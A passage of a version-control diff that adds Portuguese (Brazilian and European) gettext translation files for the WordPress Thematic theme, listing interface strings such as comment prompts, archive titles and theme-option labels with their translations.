trackbacks no momento." + +#: library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Login" + +#: library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Sair" + +#: library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Posição de inserção no índice" + +#: library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "A inserção widgetized no índice virá após este número de post." + +#: library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Informação na Página do Autor" + +#: library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Exibir um vCard microformatado—com avatar do autor, bio e email--na página do autor." + +#: library/extensions/theme-options.php:26 +msgid "Text in Footer" +msgstr "Texto no Rodapé" + +#: library/extensions/theme-options.php:27 +msgid "Enter the text that will appear in the bottom of your footer. You can use these shortcodes: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Digite o texto que irá aparecer no fim do rodapé. Você pode usar estes atalhos: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: library/extensions/theme-options.php:29 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Produzido por [wp-link]. Construído no [theme-link]." + +#: library/extensions/theme-options.php:77 +msgid "settings saved." +msgstr "preferências salvas." + +#: library/extensions/theme-options.php:78 +msgid "settings reset." +msgstr "zerar preferências." + +#: library/extensions/theme-options.php:79 +msgid "widgets reset." +msgstr "zerar widgets." + +#: library/extensions/theme-options.php:195 +msgid "Save changes" +msgstr "Salvar modificações" + +#: library/extensions/theme-options.php:201 +msgid "Reset" +msgstr "Zerar" + +#: library/extensions/theme-options.php:207 +msgid "Reset Widgets" +msgstr "Zerar Widgets" + +#: library/extensions/theme-options.php:212 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Para maiores informações sobre este tema, visite ThemeShaper. Por favor viste os Fóruns do ThemeShaper se você tiver dúvidas sobre Thematic." + +#: library/extensions/widgets.php:55 +#: library/extensions/widgets.php:245 +#: library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "Links RSS" + +#: library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Título:" + +#~ msgid "Blog Index" +#~ msgstr "Ãndice" +#~ msgid "Error 404 - Not Found" +#~ msgstr "Fehler 404 - Nicht gefunden" +#~ msgid "Archive for the ‘%s’ Category" +#~ msgstr "Archiv für die Kategorie „%s“" +#~ msgid "Posts Tagged ‘%s’" +#~ msgstr "Artikel-Schlagworte: „%s“" +#~ msgid "Archive for %s|Daily archive page" +#~ msgstr "Archiv für %s" +#~ msgid "F jS, Y" +#~ msgstr "j. F Y" +#~ msgid "Archive for %s|Monthly archive page" +#~ msgstr "Archiv für %s" +#~ msgid "F, Y" +#~ msgstr "F Y" +#~ msgid "Archive for %s|Yearly archive page" +#~ msgstr "Archiv für %s" +#~ msgid "Y" +#~ msgstr "Y" +#~ msgid "« Older Entries" +#~ msgstr "« Ältere Einträge" +#~ msgid "Newer Entries »" +#~ msgstr "Neuere Einträge »" +#~ msgid "l, F jS, Y" +#~ msgstr "l, j. F Y" +#~ msgid "Tags:" +#~ msgstr "Schlagworte:" +#~ msgid "No Comments »" +#~ msgstr "Keine Kommentare »" +#~ msgid "1 Comment »" +#~ msgstr "1 Kommentar »" +#~ msgid "% Comments »" +#~ msgstr "% Kommentare »" +#~ msgid "Archives by Subject:" +#~ msgstr "Archive nach Thema:" +#~ msgid "Permanent Link: %s" +#~ msgstr "Permanent-Link: %s" +#~ msgid "Read the rest of this entry »" +#~ msgstr "Diesen Beitrag weiterlesen »" +#~ msgid "This entry was posted %1$s on %2$s at %3$s and is filed under %4$s." +#~ msgstr "" +#~ "Dieser Beitrag wurde vor %1$s am %2$s um %3$s Uhr veröffentlicht und " +#~ "unter %4$s gespeichert." +#~ msgid "" +#~ "You can follow any responses to this entry through the RSS " +#~ "2.0 feed." +#~ msgstr "" +#~ "Sie können Kommentare zu diesem Eintrag über den RSS-2.0-Feed verfolgen." +#~ msgid "" +#~ "You can leave a response, or trackback from your own site." +#~ msgstr "" +#~ "Sie können einen Kommentar hinterlassen " +#~ "oder einen Trackback von Ihrer " +#~ "Website hierher setzen." +#~ msgid "" +#~ "Responses are currently closed, but you can trackback from your own site." +#~ msgstr "" +#~ "Kommentare sind momentan deaktiviert, aber Sie können einen Trackback von Ihrer Website hierher setzen." +#~ msgid "" +#~ "You can skip to the end and leave a response. Pinging is currently not " +#~ "allowed." +#~ msgstr "" +#~ "Sie können einen Kommentar hinterlassen, " +#~ "Pingbacks/Trackbacks sind momentan deaktiviert." +#~ msgid "Edit this entry." +#~ msgstr "Diesen Eintrag bearbeiten" +#~ msgid "Sorry, no attachments matched your criteria." +#~ msgstr "" +#~ "Leider wurden keine Anhänge gefunden, die Ihren Kriterien " +#~ "entsprechen." +#~ msgid "No Responses" +#~ msgstr "Keine Kommentare" +#~ msgid "One Response" +#~ msgstr "1 Kommentar" +#~ msgid "% Responses" +#~ msgstr "% Kommentare" +#~ msgid "to “%s”" +#~ msgstr "zu „%s“" +#~ msgid "%s Says:" +#~ msgstr "%s sagt:" +#~ msgid "edit" +#~ msgstr "bearbeiten" +#~ msgid "Comments are closed." +#~ msgstr "Kommentieren ist momentan nicht möglich." +#~ msgid "Leave a Reply" +#~ msgstr "Kommentieren" +#~ msgid "Logged in as %2$s." +#~ msgstr "Angemeldet als %2$s." +#~ msgid "Log out of this account" +#~ msgstr "Jetzt abmelden" +#~ msgid "Log out »" +#~ msgstr "Abmelden »" +#~ msgid "(required)" +#~ msgstr "(benötigt)" +#~ msgid "Mail (will not be published)" +#~ msgstr "E-Mail (wird nicht veröffentlicht)" +#~ msgid "XHTML: You can use these tags: %s" +#~ msgstr "" +#~ "XHTML: Sie können folgende Elemente nutzen: %" +#~ "s" +#~ msgid "Submit Comment" +#~ msgstr "Kommentar senden" +#~ msgid "%1$s - Comments on %2$s" +#~ msgstr "%1$s - Kommentare zu %2$s" +#~ msgid "" +#~ "RSS feed for comments on " +#~ "this post." +#~ msgstr "" +#~ "RSS-Feed für " +#~ "Kommentare zu diesem Artikel." +#~ msgid "" +#~ "The URL to TrackBack " +#~ "this entry is: %s" +#~ msgstr "" +#~ "Die Trackback-URL zu " +#~ "diesem Artikel ist: %s" +#~ msgid "Pingback" +#~ msgstr "Pingback" +#~ msgid "by %1$s — %2$s @ %4$s" +#~ msgstr "von %1$s — %2$s um %4$s Uhr" +#~ msgid "No comments yet." +#~ msgstr "Noch keine Kommentare." +#~ msgid "" +#~ "Line and paragraph breaks automatic, e-mail address never displayed, " +#~ "HTML allowed: " +#~ "%s" +#~ msgstr "" +#~ "Zeilen- und Absatzumbrüche werden automatisch eingefügt, Ihre E-" +#~ "Mail wird nicht angezeigt.Erlaubtes HTML:" +#~ msgid "URL" +#~ msgstr "URL" +#~ msgid "Say It!" +#~ msgstr "Senden" +#~ msgid "Sorry, the comment form is closed at this time." +#~ msgstr "Kommentieren ist momentan leider nicht möglich." +#~ msgid "Close this window." +#~ msgstr "Fenster schließen." +#~ msgid "" +#~ "Powered by WordPress" +#~ msgstr "" +#~ "WordPress" +#~ msgid "%1$s is proudly powered by %2$s" +#~ msgstr "%1$s läuft mit %2$s" +#~ msgid "%1$s and %2$s." +#~ msgstr "%1$s und %2$s." +#~ msgid "Entries (RSS)" +#~ msgstr "Beiträge (RSS)" +#~ msgid "%d queries. %s seconds." +#~ msgstr "%d Abfragen. %s Sekunden." +#~ msgid "Customize Header" +#~ msgstr "Kopfbereich anpassen" +#~ msgid "Header Image and Color" +#~ msgstr "Hintergrundbild und -farbe" +#~ msgid "Close Color Picker" +#~ msgstr "Farbwähler schließen" +#~ msgid "Save" +#~ msgstr "Speichern" +#~ msgid "Font Color:" +#~ msgstr "Schriftfarbe:" +#~ msgid "Any CSS color (%s or %s or %s)" +#~ msgstr "Eine beliebige CSS-Farbe (%s oder %s oder %s)" +#~ msgid "Upper Color:" +#~ msgstr "Farbe für oben:" +#~ msgid "HEX only (%s or %s)" +#~ msgstr "Nur HEX (%s oder %s)" +#~ msgid "Lower Color:" +#~ msgstr "Farbe für unten:" +#~ msgid "Toggle Text" +#~ msgstr "Text umschalten" +#~ msgid "Use Defaults" +#~ msgstr "Standard verwenden" +#~ msgid "Font Color" +#~ msgstr "Schriftfarbe" +#~ msgid "Upper Color" +#~ msgstr "Farbe für oben" +#~ msgid "Lower Color" +#~ msgstr "Farbe für unten" +#~ msgid "Advanced" +#~ msgstr "Erweitert" +#~ msgid "Update Header »" +#~ msgstr "Kopfbereich aktualisieren »" +#~ msgid "Font Color (CSS):" +#~ msgstr "Schriftfarbe (CSS):" +#~ msgid "Upper Color (HEX):" +#~ msgstr "Farbe für oben (HEX):" +#~ msgid "Lower Color (HEX):" +#~ msgstr "Farbe für unten (HEX):" +#~ msgid "Select Default Colors" +#~ msgstr "Standardfarben auswählen" +#~ msgid "Toggle Text Display" +#~ msgstr "Textanzeige aktivieren/deaktivieren" +#~ msgid "» Blog Archive" +#~ msgstr "» Blogarchiv" +#~ msgid "This entry was posted on %1$s at %2$s and is filed under %3$s." +#~ msgstr "" +#~ "Dieser Beitrag wurde am %1$s um %2$s Uhr veröffentlicht und unter %3$s " +#~ "gespeichert." +#~ msgid "Sorry, no posts matched your criteria." +#~ msgstr "" +#~ "Leider wurden keine Artikel gefunden, die Ihren Kriterien entsprechen." +#~ msgid "Sorry, but you are looking for something that isn’t here." +#~ msgstr "Es konnten leider keine passenden Inhalte gefunden werden." +#~ msgid "Read the rest of this page »" +#~ msgstr "Diesen Seite weiterlesen »" +#~ msgid "Search for:" +#~ msgstr "Suchen nach:" +#~ msgid "No posts found. Try a different search?" +#~ msgstr "" +#~ "Ihre Suche ergab keine Treffer. Möchten Sie eine neue Suche starten?" +#~ msgid "Author" +#~ msgstr "Autor" +#~ msgid "You are currently browsing the archives for the %s category." +#~ msgstr "Sie sind momentan im Archiv der Kategorie %s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for the day %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für den %3$s von %2" +#~ "$s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für %3$s von %2$s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for the year %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für das Jahr %3$s von %2$s." +#~ msgid "" +#~ "You have searched the %2$s blog archives for " +#~ "‘%3$s’. If you are unable to find anything " +#~ "in these search results, you can try one of these links." +#~ msgstr "" +#~ "Sie haben im Blogarchiv von %2$s nach " +#~ "„%3$s“ gesucht. Falls Sie in den " +#~ "Suchergebnissen nicht fündig werden, helfen Ihnen mö" +#~ "glicherweise die folgenden Links." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives." +#~ msgstr "Sie sind momentan im Blogarchiv von %2$s." +#~ msgid "This page validates as XHTML 1.0 Transitional" +#~ msgstr "Diese Seite ist valides XHTML 1.0 Transitional" +#~ msgid "" +#~ "Valid XHTML" +#~ msgstr "" +#~ "Valides XHTML" +#~ msgid "XHTML Friends Network" +#~ msgstr "XHTML Friends Network" +#~ msgid "XFN" +#~ msgstr "XFN" +#~ msgid "" +#~ "Powered by WordPress, state-of-the-art semantic personal publishing " +#~ "platform." +#~ msgstr "Läuft mit WordPress, der führenden Weblog-Anwendung." +#~ msgid "Edit this entry" +#~ msgstr "Diesen Eintrag bearbeiten" +#~ msgid "" +#~ "Powered by Wordpress" +#~ msgstr "" +#~ "WordPress" +#~ msgid "" +#~ "Logged in as %2$s. Logout »" +#~ msgstr "" +#~ "Angemeldet als %2$s. Abmelden " +#~ "»" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/pt_PT.mo Binary file web/wp-content/themes/thematic/library/languages/pt_PT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/pt_PT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/pt_PT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,489 @@ +msgid "" +msgstr "" +"Project-Id-Version: thematic-pt\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-03-15 11:44+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Hugo Baeta \n" +"Language-Team: Hugo Baeta \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=n>1\n" +"X-Poedit-Language: Portuguese\n" +"X-Poedit-Country: PORTUGAL\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e;_c\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: C:\\wamp\\www\\wordpress\\wp-content\\themes\\thematic-0-6\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Lamentamos, mas não foi possível encontrar o que procura. Tente usar a pesquisa." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:15 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:58 +msgid "Find" +msgstr "Procura" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arquivos Diários: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Arquivos Mensais: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arquivos Anuais: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:22 +msgid "Blog Archives" +msgstr "Arquivos do Blog" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:57 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:42 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:17 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:49 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:43 +msgid "« Older posts" +msgstr "« Posts anteriores" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:54 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:58 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:43 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:18 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:50 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:44 +msgid "Newer posts »" +msgstr "Posts mais recentes »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:41 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:45 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:31 +msgid "Read More »" +msgstr "Ler mais»" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:20 +msgid "Archives by Category" +msgstr "Arquivos por Categoria" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:26 +msgid "Archives by Month" +msgstr "Arquivos por Mês" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/links.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:16 +msgid "Edit" +msgstr "Editar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:32 +msgid "Pages:" +msgstr "Páginas:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:15 +msgid "Author Archives: " +msgstr "Arquivos de Autor:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:34 +msgid "Email " +msgstr "Email" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:13 +msgid "Category Archives:" +msgstr "Arquivos de Categoria:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Este post encontra-se protegido por password. Insira a password para visualizar os comentários." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d Comentários" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +msgid "One Comment" +msgstr "Um Comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Um Trackback" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +msgid "Post a Comment" +msgstr "Publicar Comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Escrever uma resposta a %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Tem de estar com sessão activa para publicar um comentário." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Sessão iniciada como %2$s. Terminar a sessão?" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "O seu endereço de e-mail nunca será publicado ou partilhado." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Campos obrigatórios marcados com *" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Nome" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Email" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Website" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:110 +msgid "Comment" +msgstr "Comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Pode usar as seguintes tags e atributos de HTML:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:120 +msgid "Post Comment" +msgstr "Publicar Comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:14 +msgid "Pages: " +msgstr "Páginas:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:15 +msgid "Search Results for:" +msgstr "Resultados da pesquisa por:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:51 +msgid "Nothing Found" +msgstr "Nada foi encontrado" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Lamentamos, mas nada foi encontrado com os critérios de pesquisa. Por favor tente novamente com outros termos de pesquisa." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:6 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:10 +msgid "Search" +msgstr "Pesquisa" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:16 +msgid "Pages" +msgstr "Páginas" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:23 +msgid "Categories" +msgstr "Categorias" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:31 +msgid "Archives" +msgstr "Arquivos" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:50 +msgid "RSS Feeds" +msgstr "RSS Feeds" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:390 +msgid "Posts RSS feed" +msgstr "RSS feed de Posts" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +msgid "All posts" +msgstr "Todos os posts" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:408 +msgid "Comments RSS feed" +msgstr "RSS feed de Comentários" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +msgid "All comments" +msgstr "Todos os comentários" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:58 +msgid "Meta" +msgstr "Meta" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/tag.php:13 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "Arquivos de Tags:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Publicado %1$s às %2$s | Link" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tO seu comentário aguarda moderação.\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Responder" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Inicie a Sessão para Responder." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Por %1$s a %2$s às %3$s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tO trackback aguarda moderação.\\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Não existe excerto porque este post está protegido." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Saltar navegação para o conteúdo" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "Saltar para o conteúdo" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:211 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:497 +msgid "Not Found" +msgstr "Não Encontrado" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:489 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:544 +msgid "Edit post" +msgstr "Editar Post" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:502 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid "Permalink to " +msgstr "Link para " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:511 +msgid "By " +msgstr "Por " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:513 +msgid "View all posts by " +msgstr "Ver todos os posts por " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:516 +msgid "Published: " +msgstr "Publicado:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:551 +msgid "This entry was posted in " +msgstr "Esta entrada foi publicada em " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:554 +msgid "Also posted in " +msgstr "Também publicado em " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:557 +msgid "Posted in " +msgstr "Publicado em " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:564 +msgid " and tagged" +msgstr " e com as tags" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:567 +msgid " Also tagged " +msgstr "Também com as tags " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:569 +msgid "Tagged" +msgstr "Tags" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:578 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:581 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:584 +msgid "Comment on " +msgstr "Comentário ligado" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:579 +msgid " Comments" +msgstr " Comentários" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:582 +msgid " Comment" +msgstr " Comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:585 +msgid "Leave a comment" +msgstr "Deixar comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:588 +msgid "Comments closed" +msgstr "Comentários encerrados" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid ". Bookmark the " +msgstr ". Guardar nos favoritos o " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:598 +msgid "permalink" +msgstr "link permanente" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:600 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "Post a comment" +msgstr "Publicar comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:601 +msgid " or leave a trackback: " +msgstr " ou deixar um trackback: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL for your post" +msgstr "URL de Trackback do seu post" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL" +msgstr "URL de Trackback" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:604 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Comentários encerrados, mas poderá deixar um trackback: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:607 +msgid " Trackbacks are closed, but you can " +msgstr " Trackbacks encerrados, mas pode " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "post a comment" +msgstr "publicar comentário" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:610 +msgid " Both comments and trackbacks are currently closed." +msgstr " Tanto os comentários como os trackbacks estão encerrados." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Iniciar Sessão" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Terminar Sessão" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Posição de Inserção do Ãndice" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "A Inserção do índice por Widget virá após o post com este número." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Informação na Página de Autor" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Mostrar um vCard microformatado—com o avatar, bio e email do autor—na página de autor." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr 